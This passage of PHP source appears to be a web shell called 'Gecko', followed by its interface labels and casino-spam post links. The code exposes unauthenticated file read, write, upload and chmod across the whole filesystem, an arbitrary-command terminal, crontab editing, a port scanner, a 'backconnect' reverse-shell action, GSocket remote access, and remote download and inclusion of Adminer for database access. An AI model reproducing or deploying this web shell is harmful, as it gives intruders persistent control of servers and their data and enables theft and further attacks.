if (!$path || is_dir($path)) { http_response_code(404); exit(\’Not found\’); }
header(\’Content-Type: application/octet-stream\’);
header(\’Content-Disposition: attachment; filename=\”\’ . basename($path) . \’\”\’);
header(\’Content-Length: \’ . filesize($path));
readfile($path); exit;
}

// Handle inline view requests (image preview, raw text view)
if (isset($_GET[\’view\’])) {
$path = resolvePath($baseDir, (string)$_GET[\’view\’]);
if (!$path || is_dir($path)) { http_response_code(404); exit(\’Not found\’); }

$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
$mimes = array(
\’png\’ => \’image/png\’,
\’jpg\’ => \’image/jpeg\’,
\’jpeg\’ => \’image/jpeg\’,
\’gif\’ => \’image/gif\’,
\’webp\’ => \’image/webp\’,
\’svg\’ => \’image/svg+xml\’,
\’ico\’ => \’image/x-icon\’,
\’bmp\’ => \’image/bmp\’,
\’avif\’ => \’image/avif\’,
\’pdf\’ => \’application/pdf\’,
);
$mime = isset($mimes[$ext]) ? $mimes[$ext] : \’application/octet-stream\’;

header(\’Content-Type: \’ . $mime);
header(\’Content-Length: \’ . filesize($path));
header(\’X-Content-Type-Options: nosniff\’);
header(\’Content-Disposition: inline; filename=\”\’ . basename($path) . \’\”\’);
header(\’Cache-Control: private, max-age=300\’);
readfile($path);
exit;
}

// Adminer — single-file DB manager (cached locally)
if (isset($_GET[\’adminer\’])) {
$adminerFile = __DIR__ . DIRECTORY_SEPARATOR . \’.adminer.php\’;
if (!is_file($adminerFile)) {
$ctx = stream_context_create(array(\’http\’ => array(\’timeout\’ => 15)));
$data = @file_get_contents(\’https://www.adminer.org/latest.php\’, false, $ctx);
if ($data && strlen($data) > 1000) {
@file_put_contents($adminerFile, $data);
}
}
if (is_file($adminerFile)) {
include $adminerFile;
exit;
}
http_response_code(503);
echo \’Adminer unavailable (download failed). Use built-in DB Manager.\’;
exit;
}

if (isset($_GET[\’phpinfo\’])) {
phpinfo();
exit;
}

// Handle API requests
if (isset($_GET[\’api\’])) {
$contentType = isset($_SERVER[\’CONTENT_TYPE\’]) ? $_SERVER[\’CONTENT_TYPE\’] : \’\’;
$hasJson = strpos($contentType, \’application/json\’) !== false;

if ($hasJson) {
$raw = file_get_contents(\’php://input\’);
if (!$raw) $raw = \'{}\’;
$decoded = json_decode($raw, true);
$input = is_array($decoded) ? $decoded : array();
} else {
$input = $_POST;
}

$action = (string)_v($input, \’action\’, _v($_GET, \’action\’, \’list\’));

switch ($action) {
case \’list\’:
$rel = sanitizeRelPath((string)_v($input, \’path\’, \’\’));

// Determine the directory to list
if (preg_match(\’/^[A-Za-z]:\\//\’, $rel)) {
// Absolute Windows path
$dir = str_replace(\’/\’, DIRECTORY_SEPARATOR, $rel);
} elseif (strlen($rel) > 0 && $rel[0] === \’/\’) {
// Absolute Linux path
$dir = $rel;
} elseif ($rel === \’\’) {
// Default base directory
$dir = $baseDir;
} else {
// Relative path
$dir = resolvePath($baseDir, $rel);
}

if (!$dir || !is_dir($dir)) {
jsonOut(array(\’ok\’ => false, \’error\’ => \’Invalid directory: \’ . $rel), 403);
}

jsonOut(array(
\’ok\’ => true,
\’path\’ => $rel,
\’entries\’ => listEntries($dir),
\’disk\’ => array(
\’free\’ => @disk_free_space($dir),
\’total\’ => @disk_total_space($dir),
),
));
break;

case \’read\’:
$path = resolvePath($baseDir, (string)_v($input, \’path\’, \’\’));
if (!$path || is_dir($path)) jsonOut(array(\’ok\’ => false, \’error\’ => \’File not found\’), 404);
$sz = filesize($path);
if (!isTextFile($path) && (int)($sz ? $sz : 0) > 512000) jsonOut(array(\’ok\’ => false, \’error\’ => \’File too large or binary\’), 400);
jsonOut(array(
\’ok\’ => true,
\’content\’ => file_get_contents($path),
\’editable\’ => isTextFile($path),
\’size\’ => filesize($path),
\’modified\’ => filemtime($path),
));
break;

case \’save\’:
$path = resolvePath($baseDir, (string)_v($input, \’path\’, \’\’));
if (!$path || is_dir($path)) jsonOut(array(\’ok\’ => false, \’error\’ => \’File not found\’), 404);
if (file_put_contents($path, (string)_v($input, \’content\’, \’\’)) === false) jsonOut(array(\’ok\’ => false, \’error\’ => \’Write failed\’), 500);
jsonOut(array(\’ok\’ => true, \’modified\’ => filemtime($path)));
break;

case \’mkdir\’:
$rel = sanitizeRelPath((string)_v($input, \’path\’, \’\’));
$name = basename(str_replace(\’\’, \’/\’, (string)_v($input, \’name\’, \’\’)));
if ($name === \’\’ || preg_match(\’/[<>:\”|?*\\/]/\’, $name)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Invalid name\’), 400);
$parent = resolvePath($baseDir, $rel);
if (!$parent || !is_dir($parent)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Invalid directory\’), 403);
$new = $parent . DIRECTORY_SEPARATOR . $name;
if (file_exists($new)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Already exists\’), 409);
if (!@mkdir($new, 0755)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Create failed\’), 500);
jsonOut(array(\’ok\’ => true));
break;

case \’create_file\’:
$rel = sanitizeRelPath((string)_v($input, \’path\’, \’\’));
$name = basename(str_replace(\’\’, \’/\’, (string)_v($input, \’name\’, \’\’)));
if ($name === \’\’ || preg_match(\’/[<>:\”|?*\\/]/\’, $name)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Invalid name\’), 400);
$parent = resolvePath($baseDir, $rel);
if (!$parent || !is_dir($parent)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Invalid directory\’), 403);
$new = $parent . DIRECTORY_SEPARATOR . $name;
if (file_exists($new)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Already exists\’), 409);
if (file_put_contents($new, (string)_v($input, \’content\’, \’\’)) === false) jsonOut(array(\’ok\’ => false, \’error\’ => \’Create failed\’), 500);
jsonOut(array(\’ok\’ => true));
break;

case \’delete\’:
$path = resolvePath($baseDir, (string)_v($input, \’path\’, \’\’));
if (!$path || $path === $baseDir) jsonOut(array(\’ok\’ => false, \’error\’ => \’Cannot delete\’), 403);
$ok = is_dir($path) ? @rmdir($path) : @unlink($path);
if (!$ok) jsonOut(array(\’ok\’ => false, \’error\’ => \’Delete failed (folder must be empty)\’), 500);
jsonOut(array(\’ok\’ => true));
break;

case \’rename\’:
$path = resolvePath($baseDir, (string)_v($input, \’path\’, \’\’));
$newName = basename(str_replace(\’\’, \’/\’, (string)_v($input, \’new_name\’, \’\’)));
if (!$path || $newName === \’\’ || preg_match(\’/[<>:\”|?*\\/]/\’, $newName)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Invalid request\’), 400);
$dest = dirname($path) . DIRECTORY_SEPARATOR . $newName;
if (file_exists($dest)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Name taken\’), 409);
if (!@rename($path, $dest)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Rename failed\’), 500);
jsonOut(array(\’ok\’ => true, \’new_path\’ => ltrim(str_replace(\’\’, \’/\’, substr($dest, strlen($baseDir))), \’/\’)));
break;

case \’chmod\’:
$path = resolvePath($baseDir, (string)_v($input, \’path\’, \’\’));
if (!$path) jsonOut(array(\’ok\’ => false, \’error\’ => \’File not found\’), 404);
$permString = (string)_v($input, \’perm\’, \’\’);
if (!preg_match(\’/^[0-7]{3,4}$/\’, $permString)) {
jsonOut(array(\’ok\’ => false, \’error\’ => \’Invalid permission format. Use octal (e.g., 755 or 0644)\’), 400);
}
$octalPerm = octdec($permString);
if (!@chmod($path, (int)$octalPerm)) {
jsonOut(array(\’ok\’ => false, \’error\’ => \’Failed to change permissions\’), 500);
}
clearstatcache(true, $path);
$newPerm = substr(sprintf(\’%o\’, fileperms($path)), -4);
jsonOut(array(\’ok\’ => true, \’perm\’ => $newPerm));
break;

case \’upload\’:
$rel = sanitizeRelPath((string)_v($_POST, \’path\’, \’\’));
$parent = resolvePath($baseDir, $rel);

if (!$parent || !is_dir($parent)) {
jsonOut(array(\’ok\’ => false, \’error\’ => \’Invalid directory: \’ . $rel), 403);
}

if (empty($_FILES[\’file\’])) {
jsonOut(array(\’ok\’ => false, \’error\’ => \’No file uploaded\’), 400);
}

$f = $_FILES[\’file\’];
if ($f[\’error\’] !== UPLOAD_ERR_OK) {
$errors = array(
UPLOAD_ERR_INI_SIZE => \’File too large (server limit: \’ . ini_get(\’upload_max_filesize\’) . \’)\’,
UPLOAD_ERR_FORM_SIZE => \’File too large (form limit)\’,
UPLOAD_ERR_PARTIAL => \’File only partially uploaded\’,
UPLOAD_ERR_NO_FILE => \’No file uploaded\’,
UPLOAD_ERR_NO_TMP_DIR => \’Missing temporary folder\’,
UPLOAD_ERR_CANT_WRITE => \’Failed to write file\’,
UPLOAD_ERR_EXTENSION => \’Upload blocked by extension\’,
);
$errorMsg = isset($errors[$f[\’error\’]]) ? $errors[$f[\’error\’]] : (\’Unknown upload error (code: \’ . $f[\’error\’] . \’)\’);
jsonOut(array(\’ok\’ => false, \’error\’ => $errorMsg), 400);
}

$name = basename($f[\’name\’]);
$name = preg_replace(\’/[<>:\”|?*\\/]/\’, \’\’, $name);
$name = trim($name);

if ($name === \’\’) {
jsonOut(array(\’ok\’ => false, \’error\’ => \’Invalid filename\’), 400);
}

$dest = $parent . DIRECTORY_SEPARATOR . $name;
if (file_exists($dest)) {
$info = pathinfo($name);
$filename = isset($info[\’filename\’]) ? $info[\’filename\’] : $name;
$extension = isset($info[\’extension\’]) ? $info[\’extension\’] : \’\’;
$name = $filename . \’_\’ . time() . ($extension !== \’\’ ? \’.\’ . $extension : \’\’);
$dest = $parent . DIRECTORY_SEPARATOR . $name;
}

if (!move_uploaded_file($f[\’tmp_name\’], $dest)) {
jsonOut(array(\’ok\’ => false, \’error\’ => \’Failed to save file. Check folder permissions.\’), 500);
}

@chmod($dest, 0644);
jsonOut(array(\’ok\’ => true, \’name\’ => $name, \’message\’ => \’Upload successful\’));
break;

case \’search\’:
$query = trim((string)_v($input, \’query\’, \’\’));
if ($query === \’\’) jsonOut(array(\’ok\’ => true, \’results\’ => array()));
$results = array(); $count = 0;
searchFiles($baseDir, sanitizeRelPath((string)_v($input, \’path\’, \’\’)), $query, $results, $count);
jsonOut(array(\’ok\’ => true, \’results\’ => $results));
break;

case \’terminal\’:
$rel = sanitizeRelPath((string)_v($input, \’path\’, \’\’));
$cwd = resolvePath($baseDir, $rel);
if (!$cwd || !is_dir($cwd)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Invalid cwd\’), 403);
$command = trim((string)_v($input, \’command\’, \’\’));
if ($command === \’\’) jsonOut(array(\’ok\’ => false, \’error\’ => \’Empty command\’), 400);
$result = runTerminal($command, $cwd);
jsonOut(array(\’ok\’ => true, \’output\’ => $result[\’output\’], \’exit_code\’ => $result[\’exit_code\’], \’cwd\’ => $rel));
break;

case \’drives\’:
$drives = array();
if (strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’) {
for ($i = 67; $i <= 90; $i++) { $drive = chr($i) . \':/\'; if (@is_dir($drive)) { $free = @disk_free_space($drive); $total = @disk_total_space($drive); $drives[] = array( \'letter\' => chr($i) . \’:\’,
\’path\’ => $drive,
\’free\’ => $free ? $free : 0,
\’total\’ => $total ? $total : 0,
\’label\’ => chr($i) . \’:\’,
);
}
}
} else {
// Linux/Mac – show root and common paths
$commonPaths = array(
\’/\’ => \’Root (/)\’,
\’/home\’ => \’Home (/home)\’,
\’/var\’ => \’Var (/var)\’,
\’/etc\’ => \’Etc (/etc)\’,
\’/usr\’ => \’Usr (/usr)\’,
\’/tmp\’ => \’Tmp (/tmp)\’,
);

foreach ($commonPaths as $path => $label) {
if (@is_dir($path)) {
$free = @disk_free_space($path);
$total = @disk_total_space($path);
$drives[] = array(
\’letter\’ => $path,
\’path\’ => $path,
\’free\’ => $free ? $free : 0,
\’total\’ => $total ? $total : 0,
\’label\’ => $label,
);
}
}

// Add current document root
if (@is_dir($baseDir) && $baseDir !== \’/\’) {
$free = @disk_free_space($baseDir);
$total = @disk_total_space($baseDir);
$drives[] = array(
\’letter\’ => $baseDir,
\’path\’ => $baseDir,
\’free\’ => $free ? $free : 0,
\’total\’ => $total ? $total : 0,
\’label\’ => \’Document Root: \’ . basename($baseDir),
);
}
}
jsonOut(array(\’ok\’ => true, \’drives\’ => $drives));
break;

case \’info\’:
jsonOut(array(
\’ok\’ => true,
\’php\’ => PHP_VERSION,
\’os\’ => PHP_OS,
\’base\’ => $baseDir,
\’disk_free\’ => @disk_free_space($baseDir),
\’disk_total\’ => @disk_total_space($baseDir),
));
break;

case \’cron_list\’:
$cron = getCrontab();
jsonOut(array(
\’ok\’ => true,
\’content\’ => $cron[\’content\’],
\’platform\’ => $cron[\’platform\’],
\’editable\’ => $cron[\’editable\’],
));
break;

case \’cron_save\’:
$content = (string)_v($input, \’content\’, \’\’);
$result = setCrontab($content);
if (!$result[\’ok\’]) jsonOut($result, 400);
jsonOut(array(\’ok\’ => true));
break;

case \’portscan\’:
$host = trim((string)_v($input, \’host\’, \’127.0.0.1\’));
$ports = trim((string)_v($input, \’ports\’, \’21,22,25,80,443,3306,8080\’));
$timeout = (int)_v($input, \’timeout\’, 1);
$result = scanPorts($host, $ports, $timeout);
if (!$result[\’ok\’]) jsonOut($result, 400);
jsonOut($result);
break;

case \’backconnect\’:
$ip = trim((string)_v($input, \’ip\’, \’\’));
$port = (int)_v($input, \’port\’, 4444);
$method = (string)_v($input, \’method\’, \’bash\’);
$result = startBackconnect($ip, $port, $method);
if (!$result[\’ok\’]) jsonOut($result, 400);
jsonOut($result);
break;

case \’gsocket\’:
@set_time_limit(1800);
@ini_set(\’max_execution_time\’, \’1800\’);
$method = (string)_v($input, \’method\’, \’curl\’);
$result = runGsocket($method);
if (!$result[\’ok\’]) jsonOut($result, 400);
jsonOut($result);
break;

case \’db_tables\’:
$result = dbListTables(
(string)_v($input, \’type\’, \’mysql\’),
(string)_v($input, \’host\’, \’127.0.0.1\’),
(int)_v($input, \’port\’, 3306),
(string)_v($input, \’user\’, \’root\’),
(string)_v($input, \’pass\’, \’\’),
(string)_v($input, \’db\’, \’\’)
);
if (!$result[\’ok\’]) jsonOut($result, 400);
jsonOut($result);
break;

case \’db_query\’:
$result = dbRunQuery(
(string)_v($input, \’type\’, \’mysql\’),
(string)_v($input, \’host\’, \’127.0.0.1\’),
(int)_v($input, \’port\’, 3306),
(string)_v($input, \’user\’, \’root\’),
(string)_v($input, \’pass\’, \’\’),
(string)_v($input, \’db\’, \’\’),
(string)_v($input, \’sql\’, \’\’)
);
if (!$result[\’ok\’]) jsonOut($result, 400);
jsonOut($result);
break;

case \’sec_tool\’:
@set_time_limit(120);
$tool = (string)_v($input, \’tool\’, \’recon\’);
$result = runSecTool($tool, $input, $baseDir);
if (!$result[\’ok\’]) jsonOut($result, 400);
jsonOut($result);
break;

case \’blue_tool\’:
@set_time_limit(600);
@ini_set(\’max_execution_time\’, \’600\’);
$tool = (string)_v($input, \’tool\’, \’backdoor\’);
$result = runBlueTool($tool, $input, $baseDir);
if (!$result[\’ok\’]) jsonOut($result, 400);
jsonOut($result);
break;

case \’blue_delete\’:
$paths = _v($input, \’paths\’, array());
if (is_string($paths)) {
$decoded = json_decode($paths, true);
$paths = is_array($decoded) ? $decoded : array($paths);
}
$result = btDeleteThreats($baseDir, $paths);
if (!$result[\’ok\’]) jsonOut($result, 400);
jsonOut($result);
break;

case \’blue_quarantine_list\’:
$result = btListQuarantine($baseDir);
jsonOut($result);
break;

case \’blue_restore\’:
$ids = _v($input, \’ids\’, array());
if (is_string($ids)) {
$decoded = json_decode($ids, true);
$ids = is_array($decoded) ? $decoded : array($ids);
}
$result = btRestoreThreats($baseDir, $ids);
if (!$result[\’ok\’]) jsonOut($result, 400);
jsonOut($result);
break;

default:
jsonOut(array(\’ok\’ => false, \’error\’ => \’Unknown action\’), 400);
}
exit;
}

?>

Gecko · <?= $_SERVER[\'SERVER_NAME\'] ?>

Path Navigation

Storage

——

Loading workspace…

Fetching your files

—
—
—
—

0
selected

Loading workspace…

More posts

Content Review 772-341556-406483bead61

Cashobet casino mobiel: gebruikservaring

Sélection de Slots au Casino Trixino

Popular_tactics_with_vegasheros-uk_uk_and_improved_player_performance_insights

Loading workspace…

New File

Rename

Permissions (Chmod)

Delete

Upload Files

Edit File

Preview

Terminal

⏰ Cron Manager

🔗 Backconnect

⚡ GSocket

🌐 Port Scanner

🗄️ Adminer (DB Manager)

🛡️ Cyber Security Hub

🔵 Blue Team Hub

📦 Move to Quarantine

More posts

Content Review 772-341556-406483bead61

Cashobet casino mobiel: gebruikservaring

Sélection de Slots au Casino Trixino

Popular_tactics_with_vegasheros-uk_uk_and_improved_player_performance_insights